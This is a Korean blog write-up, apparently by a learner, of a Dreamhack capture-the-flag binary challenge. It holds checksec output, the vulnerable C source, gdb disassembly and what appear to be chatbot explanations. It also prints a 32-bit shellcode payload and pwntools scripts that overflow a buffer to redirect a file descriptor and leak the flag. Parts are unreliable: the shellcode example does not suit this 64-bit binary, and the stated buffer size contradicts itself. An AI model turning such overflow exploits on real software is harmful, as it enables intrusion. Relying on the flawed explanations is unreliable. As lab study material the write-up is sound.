보안 상태 분석
주어진 바이너리(./chall)의 보안 설정은 다음과 같습니다. 각 항목을 분석하여 보안 수준과 익스플로잇 가능성을 평가합니다.
보안 항목 설명 및 상태
- RELRO (Relocation Read-Only)
- 상태: Full RELRO
- GOT(Global Offset Table)이 완전히 읽기 전용으로 보호됨.
- GOT Overwrite 공격 불가.
- 상태: Full RELRO
- STACK CANARY
- 상태: No canary found
- 스택 카나리가 없으므로, 스택 오버플로우를 탐지하지 못함.
- 버퍼 오버플로우를 통한 리턴 주소 덮어쓰기 가능.
- 상태: No canary found
- NX (No Execute)
- 상태: NX disabled
- 데이터 영역(스택, 힙)에서 코드 실행이 허용됨.
- 셸코드 실행 가능.
- 상태: NX disabled
- PIE (Position Independent Executable)
- 상태: PIE enabled
- 바이너리가 주소 랜덤화(ASLR) 영향을 받음.
- 실행 시점마다 코드, 데이터, 스택, 힙 주소가 변경됨.
- 정적 주소 기반 공격이 어렵지만, 스택 기반 익스플로잇 가능.
- 상태: PIE enabled
- RPATH / RUNPATH
- 상태: No RPATH, No RUNPATH
- 동적 라이브러리 경로와 관련된 보안 문제는 없음.
- 상태: No RPATH, No RUNPATH
- Symbols
- 상태: 50 Symbols
- 디버깅 심볼이 포함되어 있어 분석에 유리.
- 상태: 50 Symbols
- FORTIFY
- 상태: No
- FORTIFY_SOURCE가 활성화되지 않아 경계 검사 기능이 없음.
- 보안 취약성이 높음.
- 상태: No
- Fortified / Fortifiable
- 상태: 0 / 1
- 1개의 함수가 보호 가능했으나, 실제로 보호되지 않음.
- 상태: 0 / 1
취약점 요약
- NX 비활성화:
- 데이터 영역(스택 포함)에서 코드 실행이 가능하므로, 셸코드 삽입 공격 가능.
- 스택 카나리 없음:
- 스택 오버플로우 탐지가 불가능하여, 리턴 주소를 덮어쓰는 공격 가능.
- PIE 활성화:
- ASLR(Address Space Layout Randomization)로 인해 메모리 주소가 실행마다 변경됨.
- 하지만, 스택 기반 익스플로잇은 가능.
- GOT 공격 방지 (Full RELRO):
- GOT 테이블이 읽기 전용이므로, 함수 주소를 덮어쓰는 공격은 불가능.
익스플로잇 가능성
1. 스택 기반 버퍼 오버플로우
- 목표: NX 비활성화를 활용해 스택에 삽입된 셸코드를 실행.
- 방법:
- 입력 크기를 초과하여 리턴 주소를 덮어씀.
- 리턴 주소를 셸코드가 저장된 스택 주소로 설정.
2. ASLR 우회
- 문제점: PIE로 인해 함수와 데이터 섹션 주소가 실행마다 변경됨.
- 해결 방안:
- 프로그램이 출력하는 정보를 활용해 메모리 주소 누출.
- 메모리 주소 누출로 스택 또는 코드 섹션의 주소를 계산.
소스코드당!
// Name: chall.c
// Compile: gcc -zexecstack -fno-stack-protector chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#define FLAG_SIZE 0x45
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
char *flag;
int main(int argc, char *argv[]) {
int stdin_fd = 0;
int stdout_fd = 1;
int flag_fd;
int tmp_fd;
char buf[80];
initialize();
// read flag
flag = (char *)malloc(FLAG_SIZE);
flag_fd = open("./flag", O_RDONLY);
read(flag_fd, flag, FLAG_SIZE);
close(flag_fd);
tmp_fd = open("./tmp/flag", O_WRONLY);
write(stdout_fd, "Your Input: ", 12);
read(stdin_fd, buf, 0x80);
write(tmp_fd, flag, FLAG_SIZE);
write(tmp_fd, buf, 80);
close(tmp_fd);
return 0;
}
이 코드는 chall.c로, 버퍼 오버플로우와 같은 취약점을 포함하고 있으며, 익스플로잇 가능성이 있는 프로그램입니다. 특히, **플래그 파일(./flag)**의 내용을 처리하는 부분과 입력 버퍼에서 발생하는 메모리 취약점이 주된 공격 지점입니다. 아래는 코드의 동작과 보안 취약점에 대한 분석입니다.
코드 동작 분석
- 초기화 함수 (initialize)
void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); }
- 버퍼링 비활성화: 표준 입출력(stdin, stdout)의 버퍼를 비활성화하여 실시간 데이터 처리를 지원.
- 타이머 설정: alarm(30)으로 실행 시간을 30초로 제한.
- SIGALRM 처리: 30초 경과 시 alarm_handler가 호출되어 프로그램이 종료.
- 플래그 파일 처리
flag = (char *)malloc(FLAG_SIZE); flag_fd = open("./flag", O_RDONLY); read(flag_fd, flag, FLAG_SIZE); close(flag_fd);
- flag 변수:
- 동적으로 메모리를 할당(FLAG_SIZE = 0x45 = 69 바이트).
- ./flag 파일을 열고 내용을 읽어 flag에 저장.
- 취약점:
- 파일 크기 검증 없이 내용을 읽으므로, 예상치 못한 데이터가 입력되면 문제가 발생할 가능성 있음.
- flag 변수:
- 입력 처리 및 파일 쓰기
tmp_fd = open("./tmp/flag", O_WRONLY); write(stdout_fd, "Your Input: ", 12); read(stdin_fd, buf, 0x80); write(tmp_fd, flag, FLAG_SIZE); write(tmp_fd, buf, 80); close(tmp_fd);
- buf 변수:
- 크기: 80 바이트(0x50).
- 입력: 최대 0x80(128) 바이트를 읽음 → 버퍼 오버플로우 가능.
- 파일 쓰기:
- ./tmp/flag 파일에 플래그(flag)와 입력(buf)를 순서대로 기록.
- buf 변수:
- 프로그램 종료
- 입력을 파일에 저장한 뒤 종료.
취약점 분석
- 버퍼 오버플로우
- buf의 크기는 80 바이트(0x50)이지만, read 함수는 128 바이트(0x80)를 읽습니다.
- 이를 통해 스택 상의 데이터(예: 리턴 주소, EBP 등)를 덮어쓸 수 있음.
- read(stdin_fd, buf, 0x80);
- 스택 실행 가능성
- 컴파일 시 -zexecstack 옵션을 사용하여 스택 실행이 가능합니다.
- 입력된 데이터에 악의적인 셸코드가 포함되면 스택에서 실행할 수 있습니다.
- 플래그 노출
- 프로그램은 플래그 내용을 ./tmp/flag에 기록:
write(tmp_fd, flag, FLAG_SIZE);
- 권한이 있는 사용자가 ./tmp/flag를 읽으면 플래그를 확인할 수 있습니다.
- 프로그램은 플래그 내용을 ./tmp/flag에 기록:
- 입력 데이터 기록
- 사용자 입력(buf)가 플래그 뒤에 이어서 저장되므로, 플래그를 간접적으로 조작하거나 덮어쓸 수 있습니다.
익스플로잇 가능성
1. 스택 버퍼 오버플로우
- 목표: 버퍼 오버플로우를 통해 리턴 주소를 덮어쓰고 셸코드를 실행.
- 방법:
- buf 변수에 80 바이트를 초과하는 데이터를 입력.
- 스택 프레임의 리턴 주소를 덮어씁니다.
- 덮어쓴 주소를 셸코드의 시작 주소로 설정.
2. 셸코드 실행
- 컴파일 옵션 -zexecstack으로 스택이 실행 가능하므로, 입력된 셸코드를 실행할 수 있습니다.
- 예제 페이로드:
python3 -c 'print("A" * 80 + "\x90" * 20 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")' | ./chall
3. 플래그 파일 노출
- 프로그램은 플래그 내용을 ./tmp/flag에 기록하므로, 프로그램이 종료된 후 다음 명령어로 플래그를 확인 가능:
cat ./tmp/flag
보안 개선 방안
- 버퍼 크기 제한
- 입력 데이터 크기를 buf 크기(80 바이트)로 제한:
read(stdin_fd, buf, sizeof(buf));
- 입력 데이터 크기를 buf 크기(80 바이트)로 제한:
- 스택 실행 비활성화
- -z noexecstack 플래그를 사용하여 스택 실행을 비활성화:
gcc -z noexecstack -fno-stack-protector chall.c -o chall
- -z noexecstack 플래그를 사용하여 스택 실행을 비활성화:
- 플래그 파일 관리
- 플래그 파일 접근 권한을 프로그램 사용자만 읽을 수 있도록 제한:
chmod 600 ./flag
- 플래그 파일 접근 권한을 프로그램 사용자만 읽을 수 있도록 제한:
- 동적 메모리 관리
- 입력 데이터 크기와 플래그 크기를 정확히 확인하여 적절히 메모리를 할당.
결론
이 프로그램은 버퍼 오버플로우와 스택 실행 가능성을 악용해 셸코드를 실행하거나 플래그를 노출할 수 있는 취약점을 포함하고 있습니다. 위에서 설명한 보안 개선 방안을 적용해 이러한 취약점을 방지할 수 있습니다. 😊
문제 코드를 보면
일단 입력가능한 read는 buf에 입력이 가능하다
read 함수로 flag변수에 ./flag파일 정보가 들어가는데
wirte함수의 1번째 인자가 tmp_fd인데 이는 스택구조에 들어가 있으므로
tmp_fd값을 1로 바꿔준다면 flag값이 출력될것같다
출처 ㅣ https://stfofu.tistory.com/51
왜 tmp_fd값을 1로 바꿔주면 flag값이 출력되는거야?
tmp_fd의 값을 1로 바꿔주면 write 함수가 stdout(표준 출력)으로 데이터를 출력하게 됩니다. 이를 통해 flag 변수에 저장된 ./flag 파일의 내용이 콘솔에 직접 출력됩니다. 이는 write 함수의 동작 방식과 stdout 파일 디스크립터의 역할 때문입니다.
write 함수의 동작
ssize_t write(int fd, const void *buf, size_t count);
- fd (파일 디스크립터):
- 데이터를 기록할 대상입니다. 예:
- 1: 표준 출력 (stdout)
- 2: 표준 에러 (stderr)
- 기타 값: 파일이나 소켓 같은 디스크립터.
- 데이터를 기록할 대상입니다. 예:
- buf:
- 기록할 데이터가 저장된 메모리의 주소입니다.
- count:
- 기록할 데이터의 크기(바이트).
코드 분석: write 함수 호출
write(tmp_fd, flag, FLAG_SIZE);
- tmp_fd: 파일 디스크립터로, 기본적으로 ./tmp/flag 파일에 데이터를 기록하도록 설정.
- flag: ./flag 파일에서 읽어온 데이터가 저장된 변수.
- FLAG_SIZE: 기록할 데이터의 크기(69 바이트).
tmp_fd를 1로 변경하면?
- 1은 **표준 출력(stdout)**의 파일 디스크립터입니다.
- 따라서, write(tmp_fd, flag, FLAG_SIZE)는 콘솔에 데이터를 출력하게 됩니다.
- 결과적으로 flag 변수의 내용(./flag 파일 내용)이 터미널에 출력됩니다.
익스플로잇 메커니즘
tmp_fd가 스택에 저장되어 있으므로, 버퍼 오버플로우를 이용해 tmp_fd 값을 덮어쓸 수 있습니다.
취약점 발생 지점
read(stdin_fd, buf, 0x80);
- buf의 크기는 80 바이트이지만, 최대 128 바이트를 읽으므로 스택의 다음 변수(tmp_fd)를 덮어쓸 수 있음.
페이로드 설계
- buf를 통해 tmp_fd를 덮어쓰기:
- 80 바이트를 채운 뒤, tmp_fd 위치에 1을 삽입.
- 페이로드 예시 (Python)
- payload = b"A" * 80 # buf 크기만큼 채움 payload += b"\x01\x00\x00\x00" # tmp_fd를 1로 설정 (리틀 엔디안)
- 익스플로잇 실행
- 페이로드를 프로그램에 전달:
(python3 -c 'print("A" * 80 + "\x01\x00\x00\x00")'; cat) | ./chall
- 페이로드를 프로그램에 전달:
결과
- tmp_fd가 1로 변경됨.
- write(tmp_fd, flag, FLAG_SIZE)가 실행되면서 flag 변수가 표준 출력(stdout)에 출력됩니다.
- ./flag 파일의 내용(플래그)이 터미널에 나타납니다.
왜 tmp_fd를 조작하면 출력이 되는가?
- 파일 디스크립터의 역할:
- write 함수는 fd 값을 기준으로 데이터를 기록할 대상을 결정합니다.
- tmp_fd를 1로 설정하면, 데이터가 콘솔로 출력됩니다.
- 취약점 활용:
- 스택 상의 데이터를 덮어써 파일 디스크립터를 원하는 값(stdout)으로 변경 가능.
- 프로그램 로직을 우회해 플래그 데이터를 직접 출력.
보안 강화 방안
- 입력 크기 제한:
- read 함수 호출 시 입력 크기를 buf 크기로 제한:
read(stdin_fd, buf, sizeof(buf));
- read 함수 호출 시 입력 크기를 buf 크기로 제한:
- 스택 보호 활성화:
- 컴파일 시 -fstack-protector를 사용하여 스택 카나리를 활성화.
- tmp_fd 초기화 제한:
- tmp_fd 값을 상수로 정의하거나, 사용자 입력이 영향을 미치지 않도록 코드 설계.
요약
tmp_fd를 1로 바꾸는 이유는 표준 출력(stdout) 파일 디스크립터가 1로 예약되어 있기 때문입니다. 이를 통해 flag 변수의 내용이 터미널에 출력되며, 프로그램의 버퍼 오버플로우 취약점을 활용해 이를 수행할 수 있습니다. 😊
from pwn import *
p = remote('host3.dreamhack.games', 19657)
payload = b'A' * 0x50 + p64(1)
p.sendafter(b'Input: ', payload)
p.interactive()
from pwn import *
p = remote('host3.dreamhack.games',19424 )
payload = b'A' * 80
payload += p64(1)
p.sendline(payload)
p.interactive()
https://velog.io/@kkangjane/Dreamhack-Wargame-awesome-basics
p64(1)은 tmp_fd를 조작하기 위해 사용하는 값으로, tmp_fd를 1로 설정하여 stdout으로 데이터를 출력하게 만듭니다.
p64의 역할
- **p64**는 Python에서 pwntools 라이브러리의 함수로, 64비트 리틀 엔디안 형식으로 값을 변환합니다.
- 64비트 시스템에서는 정수(특히 주소나 데이터)를 8바이트로 표현하며, p64는 이를 적절히 변환해줍니다.
예시
p64(1)
- 1을 64비트 리틀 엔디안 형식으로 변환:
- 결과: b'\x01\x00\x00\x00\x00\x00\x00\x00'
코드 분석
1. 페이로드 구성
payload = b'A' * 0x50 + p64(1)
- b'A' * 0x50:
- buf 크기(80 바이트)를 채우는 임의 데이터.
- p64(1):
- 스택 상에서 tmp_fd가 저장된 위치를 덮어쓰기 위해 사용.
- tmp_fd의 값을 1(표준 출력)로 설정.
2. 서버와 상호작용
p.sendafter(b'Input: ', payload)
- sendafter:
- 서버에서 특정 프롬프트(여기서는 Input: )를 받을 때까지 기다린 후, 페이로드를 전송.
3. tmp_fd의 역할
- tmp_fd는 플래그(flag)와 사용자 입력을 기록하는 파일 디스크립터입니다:
write(tmp_fd, flag, FLAG_SIZE);
- 원래 tmp_fd는 ./tmp/flag 파일에 기록되도록 설정되지만, 값이 1로 변경되면 **stdout**으로 데이터를 출력하게 됩니다.
결과
- p64(1)을 사용해 tmp_fd를 1로 설정.
- write(tmp_fd, flag, FLAG_SIZE)가 터미널로 flag 데이터를 출력.
- 이를 통해 플래그를 획득할 수 있습니다.
gdb) disassemble main
Dump of assembler code for function main:
0x00000000000012ef <+0>: endbr64
0x00000000000012f3 <+4>: push %rbp
0x00000000000012f4 <+5>: mov %rsp,%rbp
0x00000000000012f7 <+8>: sub $0x70,%rsp
0x00000000000012fb <+12>: mov %edi,-0x64(%rbp)
0x00000000000012fe <+15>: mov %rsi,-0x70(%rbp)
0x0000000000001302 <+19>: movl $0x0,-0x4(%rbp)
0x0000000000001309 <+26>: movl $0x1,-0x8(%rbp)
0x0000000000001310 <+33>: mov $0x0,%eax
0x0000000000001315 <+38>: call 0x128a <initialize>
0x000000000000131a <+43>: mov $0x45,%edi
0x000000000000131f <+48>: call 0x1140 <malloc@plt>
0x0000000000001324 <+53>: mov %rax,0x2d05(%rip) # 0x4030 <flag>
0x000000000000132b <+60>: mov $0x0,%esi
0x0000000000001330 <+65>: lea 0xcd6(%rip),%rax # 0x200d
0x0000000000001337 <+72>: mov %rax,%rdi
0x000000000000133a <+75>: mov $0x0,%eax
0x000000000000133f <+80>: call 0x1160 <open@plt>
0x0000000000001344 <+85>: mov %eax,-0xc(%rbp)
0x0000000000001347 <+88>: mov 0x2ce2(%rip),%rcx # 0x4030 <flag>
0x000000000000134e <+95>: mov -0xc(%rbp),%eax
0x0000000000001351 <+98>: mov $0x45,%edx
0x0000000000001356 <+103>: mov %rcx,%rsi
0x0000000000001359 <+106>: mov %eax,%edi
0x000000000000135b <+108>: call 0x1120 <read@plt>
--Type <RET> for more, q to quit, c to continue without paging--ret
0x0000000000001360 <+113>: mov -0xc(%rbp),%eax
0x0000000000001363 <+116>: mov %eax,%edi
0x0000000000001365 <+118>: call 0x1110 <close@plt>
0x000000000000136a <+123>: mov $0x1,%esi
0x000000000000136f <+128>: lea 0xc9e(%rip),%rax # 0x2014
0x0000000000001376 <+135>: mov %rax,%rdi
0x0000000000001379 <+138>: mov $0x0,%eax
0x000000000000137e <+143>: call 0x1160 <open@plt>
0x0000000000001383 <+148>: mov %eax,-0x10(%rbp)
0x0000000000001386 <+151>: mov -0x8(%rbp),%eax
0x0000000000001389 <+154>: mov $0xc,%edx
0x000000000000138e <+159>: lea 0xc8a(%rip),%rcx # 0x201f
0x0000000000001395 <+166>: mov %rcx,%rsi
0x0000000000001398 <+169>: mov %eax,%edi
0x000000000000139a <+171>: call 0x10f0 <write@plt>
0x000000000000139f <+176>: lea -0x60(%rbp),%rcx
0x00000000000013a3 <+180>: mov -0x4(%rbp),%eax
0x00000000000013a6 <+183>: mov $0x80,%edx
0x00000000000013ab <+188>: mov %rcx,%rsi
0x00000000000013ae <+191>: mov %eax,%edi
0x00000000000013b0 <+193>: call 0x1120 <read@plt>
0x00000000000013b5 <+198>: mov 0x2c74(%rip),%rcx # 0x4030 <flag>
0x00000000000013bc <+205>: mov -0x10(%rbp),%eax
0x00000000000013bf <+208>: mov $0x45,%edx
0x00000000000013c4 <+213>: mov %rcx,%rsi
0x00000000000013c7 <+216>: mov %eax,%edi
--Type <RET> for more, q to quit, c to continue without paging--
0x00000000000013c9 <+218>: call 0x10f0 <write@plt>
0x00000000000013ce <+223>: lea -0x60(%rbp),%rcx
0x00000000000013d2 <+227>: mov -0x10(%rbp),%eax
0x00000000000013d5 <+230>: mov $0x50,%edx
0x00000000000013da <+235>: mov %rcx,%rsi
0x00000000000013dd <+238>: mov %eax,%edi
0x00000000000013df <+240>: call 0x10f0 <write@plt>
0x00000000000013e4 <+245>: mov -0x10(%rbp),%eax
0x00000000000013e7 <+248>: mov %eax,%edi
0x00000000000013e9 <+250>: call 0x1110 <close@plt>
0x00000000000013ee <+255>: mov $0x0,%eax
0x00000000000013f3 <+260>: leave
0x00000000000013f4 <+261>: ret
End of assembler dump.
주어진 어셈블리 덤프는 main 함수의 동작을 기계어 수준에서 보여줍니다. 이를 분석하여 프로그램의 동작, 데이터 흐름, 취약점 등을 확인할 수 있습니다. 이 분석에서는 플래그 읽기 및 출력 로직과 익스플로잇 가능성을 다룹니다.
핵심 로직 식별
1. 플래그 읽기
0x0000000000001324 <+53>: mov %rax,0x2d05(%rip) # 0x4030 <flag>
0x0000000000001347 <+88>: mov 0x2ce2(%rip),%rcx # 0x4030 <flag>
0x0000000000001356 <+103>: mov %rcx,%rsi
0x0000000000001359 <+106>: mov %eax,%edi
0x000000000000135b <+108>: call 0x1120 <read@plt>
- malloc로 플래그를 저장할 메모리를 할당(flag 변수).
- open("./flag")로 플래그 파일을 열고, 파일 디스크립터를 얻음(%eax에 저장).
- 플래그 파일 내용을 읽어(read) 메모리에 저장(flag 변수 주소에 저장).
2. 사용자 입력 받기
0x000000000000139f <+176>: lea -0x60(%rbp),%rcx
0x00000000000013a3 <+180>: mov -0x4(%rbp),%eax
0x00000000000013a6 <+183>: mov $0x80,%edx
0x00000000000013ab <+188>: mov %rcx,%rsi
0x00000000000013ae <+191>: mov %eax,%edi
0x00000000000013b0 <+193>: call 0x1120 <read@plt>
- buf 변수(스택에 할당된 -0x60부터 시작)에 사용자 입력을 읽음.
- 읽기 크기는 128바이트(0x80).
- buf 크기가 96바이트(0x60)이므로, 스택 오버플로우 발생 가능.
3. 플래그와 사용자 입력 기록
0x00000000000013bc <+205>: mov -0x10(%rbp),%eax
0x00000000000013c4 <+213>: mov %rcx,%rsi
0x00000000000013c7 <+216>: mov %eax,%edi
0x00000000000013c9 <+218>: call 0x10f0 <write@plt>
- flag 내용을 파일 디스크립터 tmp_fd에 기록.
- write 함수 호출:
- edi: 파일 디스크립터.
- rsi: 데이터 주소(flag).
- edx: 데이터 크기(0x45).
4. 사용자 입력 기록
0x00000000000013ce <+223>: lea -0x60(%rbp),%rcx
0x00000000000013d2 <+227>: mov -0x10(%rbp),%eax
0x00000000000013d5 <+230>: mov $0x50,%edx
0x00000000000013da <+235>: mov %rcx,%rsi
0x00000000000013dd <+238>: mov %eax,%edi
0x00000000000013df <+240>: call 0x10f0 <write@plt>
- 사용자 입력(buf)를 tmp_fd에 기록.
- edi: 파일 디스크립터.
- rsi: 데이터 주소(buf).
- edx: 데이터 크기(0x50 = 80바이트).
취약점 분석
1. 스택 버퍼 오버플로우
0x00000000000013ab <+188>: mov %rcx,%rsi
0x00000000000013ae <+191>: mov %eax,%edi
0x00000000000013b0 <+193>: call 0x1120 <read@plt>
- **buf 크기(96바이트)**보다 큰 128바이트를 읽으므로, 스택 오버플로우 발생 가능.
- 스택 상의 변수(tmp_fd 등)를 덮어쓰거나 리턴 주소를 조작 가능.
2. tmp_fd 조작
0x00000000000013b5 <+198>: mov 0x2c74(%rip),%rcx # 0x4030 <flag>
0x00000000000013bc <+205>: mov -0x10(%rbp),%eax
0x00000000000013c4 <+213>: mov %rcx,%rsi
0x00000000000013c7 <+216>: mov %eax,%edi
0x00000000000013c9 <+218>: call 0x10f0 <write@plt>
- tmp_fd의 값을 **파일 디스크립터 1(stdout)**로 조작하면, 플래그가 콘솔에 출력됨.
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[105] IT 비전공자 [dreamhack]Robot Only문제 풀기 (1) | 2024.12.23 |
---|---|
[104] IT 비전공자 [dreamhack]Simple Patch Me문제 풀기 (1) | 2024.12.22 |
[102] IT 비전공자 [dreamhack]Cherry문제 풀기 (1) | 2024.12.20 |
[101] IT 비전공자 [dreamhack]baby-Case문제 풀기 (2) | 2024.12.19 |
100번째 문제 기념! 500등대 진입! (1) | 2024.12.18 |